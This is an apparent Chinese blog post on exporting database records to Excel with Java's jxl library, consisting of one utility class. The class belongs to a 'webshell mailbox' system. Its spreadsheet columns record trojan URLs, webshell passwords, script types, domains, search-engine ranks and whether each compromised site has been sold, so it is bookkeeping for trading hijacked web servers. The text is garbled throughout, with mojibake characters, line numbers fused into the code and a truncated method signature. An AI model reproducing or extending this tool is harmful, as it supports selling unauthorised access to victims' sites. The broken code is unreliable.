使用JAVA將數(shù)據(jù)庫(kù)導(dǎo)出到Excel文檔

首先將要導(dǎo)出的數(shù)據(jù)庫(kù)表的數(shù)據(jù)封裝到一個(gè)list集合中,然后循環(huán)遍歷該list集合

再應(yīng)用jxl組件將這些數(shù)據(jù)寫(xiě)入excel文件。

?

001package com.ybhacker.mailbox.util;002?003import java.io.File;004import java.util.List;005?006import jxl.*;007import jxl.format.Alignment;008import jxl.format.Colour;009import jxl.format.UnderlineStyle;010import jxl.format.VerticalAlignment;011import jxl.write.Label;012import jxl.write.WritableFont;013import jxl.write.WritableSheet;014import jxl.write.WritableWorkbook;015?016import com.ybhacker.mailbox.model.BoxList;017?018/**019?* Excel操作020?* 021?* @author Windows7022?* 023?*/024public classExcelOperationUtil {025?026????/**027?????* 保存數(shù)據(jù)內(nèi)容到excel028?????* @param list029?????* @param savepath030?????* @return031?????*/032?033????publicboolean readDataToExcelFile(List034????????try{035????????????WritableWorkbook book = Workbook.createWorkbook(newFile(savepath));036????????????WritableSheet sheet = book.createSheet("SHELL",0);037????????????// 設(shè)置字體樣式038????????????jxl.write.WritableFont font =new jxl.write.WritableFont(039????????????????????WritableFont.ARIAL,15, WritableFont.BOLD, false,040????????????????????UnderlineStyle.NO_UNDERLINE, jxl.format.Colour.GREEN);041????????????jxl.write.WritableCellFormat cellFormat =new jxl.write.WritableCellFormat(042????????????????????font);043????????????cellFormat.setAlignment(Alignment.CENTRE);044????????????cellFormat.setVerticalAlignment(VerticalAlignment.CENTRE);// 設(shè)置單元格內(nèi)容兩端對(duì)齊045????????????cellFormat.setBackground(Colour.GRAY_25);// 背景顏色046????????????Label label_title =new Label(0,0, "WEBSHELL收信箱子系統(tǒng)V2.0",047????????????????????cellFormat);048????????????sheet.mergeCells(0,0, 4,0);// 合并第一行的第1個(gè)到第5個(gè)單元格049????????????sheet.setRowView(0,600, false);// 設(shè)置第一行的行高050?051????????????Label label_id =new Label(0,1, "ID");052????????????Label label_url =new Label(1,1, "木馬地址");053????????????Label label_script =new Label(2,1, "腳本類(lèi)型");054????????????Label label_pass =new Label(3,1, "密碼");055????????????Label label_host =new Label(4,1, "域名");056????????????Label label_google =new Label(5,1, "谷歌權(quán)重");057????????????Label label_baidu =new Label(6,1, "百度權(quán)重");058????????????Label label_indexed =new Label(7,1, "收錄總數(shù)");059????????????Label label_createtime =new Label(8,1, "創(chuàng)建時(shí)間");060????????????Label label_sell =new Label(9,1, "是否出售");061?062????????????sheet.setColumnView(4,15);// 設(shè)置列寬063????????????sheet.addCell(label_title);064????????????sheet.addCell(label_id);065????????????sheet.addCell(label_url);066????????????sheet.addCell(label_script);067????????????sheet.addCell(label_pass);068????????????sheet.addCell(label_host);069????????????sheet.addCell(label_google);070????????????sheet.addCell(label_baidu);071????????????sheet.addCell(label_indexed);072????????????sheet.addCell(label_createtime);073????????????sheet.addCell(label_sell);074?075????????????for(int i = 0; i < list.size(); i++) {// 遍歷數(shù)據(jù)對(duì)象的集合，將所有信息導(dǎo)出到Excel076????????????????BoxList temp = (BoxList) list.get(i);077????????????????String script ="未知";078????????????????String createtime = temp.getnCreateTime().toString();079????????????????if(temp.getnScript() == 1) {080????????????????????script ="ASP";081????????????????}082????????????????if(temp.getnScript() == 2) {083????????????????????script ="PHP";084????????????????}085????????????????if(temp.getnScript() == 3) {086????????????????????script ="ASPX";087????????????????}088????????????????if(temp.getnScript() == 4) {089????????????????????script ="JSP";090????????????????}091????????????????String Sell ="正常";092????????????????if(temp.isnSell()) {093????????????????????Sell ="已售";094????????????????}095????????????????Label id_value =new Label(0, i +2, temp.getId() + "");096????????????????Label url_value =new Label(1, i +2, temp.getnUrl());097????????????????Label script_value =new Label(2, i +2, script);098????????????????Label pass_value =new Label(3, i +2, temp.getnPass());099????????????????Label host_value =new Label(4, i +2, temp.getnHost());100????????????????Label google_value =new Label(5, i +2, temp.getnGoogle());101????????????????Label baidu_value =new Label(6, i +2, temp.getnBaidu());102????????????????Label indexed_value =new Label(7, i +2, temp.getnIndexed());103????????????????Label createtime_value =new Label(8, i +2, createtime);104????????????????Label sell_value =new Label(9, i +2, Sell);105?106????????????????sheet.addCell(id_value);107????????????????sheet.addCell(url_value);108????????????????sheet.addCell(script_value);109????????????????sheet.addCell(pass_value);110????????????????sheet.addCell(host_value);111????????????????sheet.addCell(google_value);112????????????????sheet.addCell(baidu_value);113????????????????sheet.addCell(indexed_value);114????????????????sheet.addCell(createtime_value);115????????????????sheet.addCell(sell_value);116?117????????????}118????????????book.write();119????????????book.close();120????????????returntrue;121????????} catch (Exception e) {122????????????System.out.println("異常信息："+ e.getMessage());123????????????e.printStackTrace();124????????????returnfalse;125????????}126????}127}